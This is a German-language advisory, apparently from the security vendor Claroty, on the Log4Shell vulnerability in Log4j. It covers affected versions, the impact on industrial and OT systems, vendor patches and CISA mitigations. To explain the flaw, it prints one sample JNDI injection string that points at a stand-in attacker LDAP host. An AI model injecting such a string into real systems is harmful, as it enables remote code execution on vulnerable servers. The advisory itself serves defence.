Was Sie über die Log4j Zero-Day-Schwachstelle wissen müssen

Die Zero-Day-Schwachstelle, die im beliebten Open-Source-Java-basierten Apache-Logging-Framework Log4j entdeckt wurde, hat Sicherheitsteams dazu veranlasst, die Auswirkungen dieses potenziell verheerenden Fehlers zu mindern.

Die als Log4Shell bekannte Schwachstelle (CVE-2021-44228) kann von einem Bedrohungsakteur unter Verwendung einer speziell gefertigten Zeichenfolge trivial missbraucht werden, um eine Remote-Codeausführung für betroffene Anwendungen und Dienste zu erhalten. Es wurde ein CVSS-Score von 10.0 zugewiesen. Apache hat sich mit der seit dem 9. Dezember verfügbaren Schwachstelle in Version 2.16.0 befasst. Log4j Versionen 2.14.1 und früher sind laut Apache mit unterschiedlichen Schweregraden betroffen.

Darüber hinaus wurde am Dienstag eine zweite Schwachstelle in Log4j Version 2.15.0, CVE-2021-45046 entdeckt, die Denial-of-Service-Angriffe ermöglichen kann. Laut Apache war der Fix für CVE-2021-44228 in bestimmten Nicht-Standardkonfigurationen unvollständig. Ein Angreifer könnte schädliche Eingabedaten unter Verwendung eines JDNI-Nachschlagemusters verwenden, um Denial-of-Service-Bedingungen zu verursachen. Diese zweite Schwachstelle wurde in den Versionen 2.12.2 und 2.16.0 behoben.

Unternehmen, die Produkte mit betroffenen Versionen von Log4j ausführen, sollten diese Schwachstelle sofort beheben. Proof-of-Concept-Exploits wurden online geteilt, seit Ende letzter Woche die Nachricht über die Schwachstelle kaputt ging und Anbieter wie Cloudflare und Cisco seit Anfang Dezember Angriffe entdeckt haben.

Angesichts der einfachen Ausnutzung dieser Schwachstelle haben einige frühe Angriffe die Installation von Kryptenmining-Software auf anfälligen Maschinen oder die Botnets, die anfällige Computer gemeinsam nutzen, umfasst. Ransomware-Angriffe stehen bei diesem Fehler nicht außer Frage, ebenso wie andere Code-Injektor-Angriffe.

Hier ist das Neueste:

Warum ist Log4j Trivial zu nutzen?

Die Schwachstelle, die in Log4j Versionen 2.0-beta9 bis 2.14.1 gefunden wurde (Version 1.x wird nicht mehr unterstützt), betrifft eine Reihe von kommerziellen und Open-Source-Produkten, die im gesamten Internet verwendet werden, darunter Apache Struts, Elasticsearch und VMware vCenter.

Die Schwachstelle ist angesichts der Leichtigkeit, mit der ein Angreifer eine bösartige Zeichenfolge injizieren kann, die Code von einem Remote-Server ausführen würde, trivial auszunutzen.

Zu den von Log4j unterstützten Java-Suchmechanismen gehören unter anderem Java Naming and Directory Interface (JNDI), DNS und RMI. Suchen Sie nach der ${expression}-Syntax, suchen Sie den Wert des Ausdrucks und ersetzen Sie ihn.

Ein Angreifer kann über eine HTTP-Anforderung einen JNDI-Ausdruck injizieren, der von Log4j protokolliert und ausgeführt wird. Wenn das Protokoll beispielsweise die Zeichenfolge ${expression} enthält, wird die Suchmethode sie finden und ausführen. Ein Angreifer, der in der Lage ist, seine böswillige Anfrage zu senden, kann Log4j zwingen, eine böswillige Java-Klasse beispielsweise von einem vom Angreifer kontrollierten LDAP-Server herunterzuladen und den böswilligen Code von der Website des Angreifers auszuführen.

Der böswillige Ausdruck könnte so aussehen:

${jndi:ldap://evil.com/abc}

Was sind die Auswirkungen auf SCADA, ICS und OT?

Log4j ist das Protokollierungsdienstprogramm, das in einer Vielzahl von Anwendungen verwendet wird, die in operativen Technologienetzwerken branchenübergreifend verwendet werden. Anbieter von industriellen Automatisierungslösungen haben bereits damit begonnen, ihre Produkte zu patchen und Nutzer dazu aufzufordern, diese Updates zu implementieren, was die Dringlichkeit erhöht, dieses Problem rechtzeitig zu beheben.

Prosys hat beispielsweise bereits seine betroffenen OPC UA Simulation Server-, Modbus Server-, Historian-, Browser- und Monitor-Produkte aktualisiert.

Siemens hat auch einen Hinweis veröffentlicht, der erklärt, wie Log4j seine Produkte beeinflusst, einschließlich Industrial Edge Management und mehr als ein Dutzend anderer Pakete. Abhilfemaßnahmen sind ebenfalls verfügbar.

Team82 hat auch daran gearbeitet, eine Reihe von Proof-of-Concept-Exploits zu erstellen, die Anbieterpartner verwenden können, um zu testen, ob ihre Produkte anfällig sind.

Dutzende anderer Anbieter haben entweder Patches, Minderungen oder Listen betroffener Produkte veröffentlicht. Dazu gehören unter anderem Internetriesen wie Amazon, Cisco, IBM, Juniper Networks, Oracle, Splunk und VMware. Virtualisierungsprodukte von VMware, einschließlich des ESXi-Servers, verfügen über einige OT-Anwendungen, die von Log4j betroffen sind; unten zeigt eine Shodan-Suche mehr als 95,000 ESXi-Installationen online, während das zweite Bild einen Team82 PoC zeigt, der die Schwachstelle auf dem VMware vCenter-Virtualisierungsserver auslöst.

Sind Claroty-Produkte von Log4j betroffen?

Claroty -Produkte verwenden das Log4j -Paket nicht und sind von dieser Schwachstelle nicht betroffen.

Was sollten Sie tun?

CISA empfiehlt Unternehmen, Patches für betroffene Anwendungen anzuwenden, sobald diese verfügbar sind. Sie sollten davon ausgehen, dass ICS-Automatisierungsanbieter in naher Zukunft bei der Durchführung ihrer Sorgfaltsprüfung Hinweise zu anfälligen Produkten veröffentlichen werden.

Da es für jedes nicht gepatchte System, Version 2.10 und höher, möglicherweise nicht möglich ist, Systeme in OT-Umgebungs schnell zu patchen, empfiehlt CISA, log4j2.formatMsgNoLookups auf true zu setzen, indem -Dlog4j2.formatMsgNoLookups=True zum Befehl Java Virtual Machine hinzugefügt wird.

Wenn Sie Claroty CTD -Kunde sind, hat Team82 Benutzern auch eine neue Snort-Regel zur Verfügung gestellt, die Exploits gegen Webserver erkennt. Wenn Sie automatisierte Updates für Bedrohungspakete erhalten, haben Sie bereits Erkennungen eingerichtet. Wenn Sie Bedrohungspakete manuell anwenden, sollten Sie sie so schnell wie möglich herunterladen und anwenden.

„Um es deutlich zu machen, stellt diese Schwachstelle ein großes Risiko dar“, sagte CISA-Direktorin Jen Easterly in einer Stellungnahme. „Wir werden potenzielle Auswirkungen nur durch gemeinsame Bemühungen zwischen Regierung und Privatsektor minimieren. Wir fordern alle Organisationen auf, sich uns an diesen grundlegenden Bemühungen anzuschließen und Maßnahmen zu ergreifen.“